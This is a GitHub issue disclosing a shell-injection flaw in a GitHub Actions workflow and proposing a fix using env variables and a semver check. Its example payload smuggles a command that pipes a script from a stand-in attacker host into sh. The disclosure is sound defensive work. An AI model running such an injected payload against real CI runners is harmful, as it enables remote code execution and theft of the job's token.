Skip to content

CI script injection via repository_dispatch / workflow_dispatch payload #206

Description

@v1ktorrr0x

Bug

${{ github.event.client_payload.version }} and ${{ inputs.sdk_version }} are expanded by GitHub Actions before the shell runs. The surrounding VERSION="..." quotes do not contain the injected string, allowing shell command injection.

Source

.github/workflows/sdk-smoke.yml

59      - name: Resolve SDK version
60        id: sdk_ver
61        run: |
62          VERSION="${{ github.event.client_payload.version }}"
63          if [ -z "$VERSION" ]; then
64            VERSION="${{ inputs.sdk_version }}"

A payload of:

1.0.0"; curl https://attacker/x | sh; echo "

breaks out and executes arbitrary commands on the runner with the job's GITHUB_TOKEN (default write scope). The tainted value also flows into pnpm add "@percolatorct/sdk@${{ steps.sdk_ver.outputs.version }}" at line 81, yielding a second injection point.

Reachability: repository_dispatch requires a token with repo write/dispatch permission — not anonymous. However, this is precisely the cross-repo seam the SDK post-publish workflow uses (gh api .../dispatches). A compromised SDK pipeline or leaked PAT pivots directly into this runner.

Fix

Pass event data via env: (never inline ${{ }} in a run: block) and gate on a strict semver allowlist:

      - name: Resolve SDK version
        id: sdk_ver
        env:
          PAYLOAD_VERSION: ${{ github.event.client_payload.version }}
          INPUT_VERSION: ${{ inputs.sdk_version }}
          DEFAULT_VERSION: ${{ env.SDK_VERSION }}
        run: |
          VERSION="${PAYLOAD_VERSION:-${INPUT_VERSION:-$DEFAULT_VERSION}}"
          if ! printf '%s' "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'; then
            echo "Invalid SDK version: $VERSION"; exit 1
          fi
          echo "version=$VERSION" >> "$GITHUB_OUTPUT"

Apply the same env: pattern to the pnpm add and verify steps. Both workflows already pin actions by full commit SHA — preserve that.

Verification

Dispatch with client_payload[version]='1.0.0"; touch /tmp/pwned; echo "' → step fails the semver gate, /tmp/pwned not created. Normal 1.0.0-beta.33 still passes.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions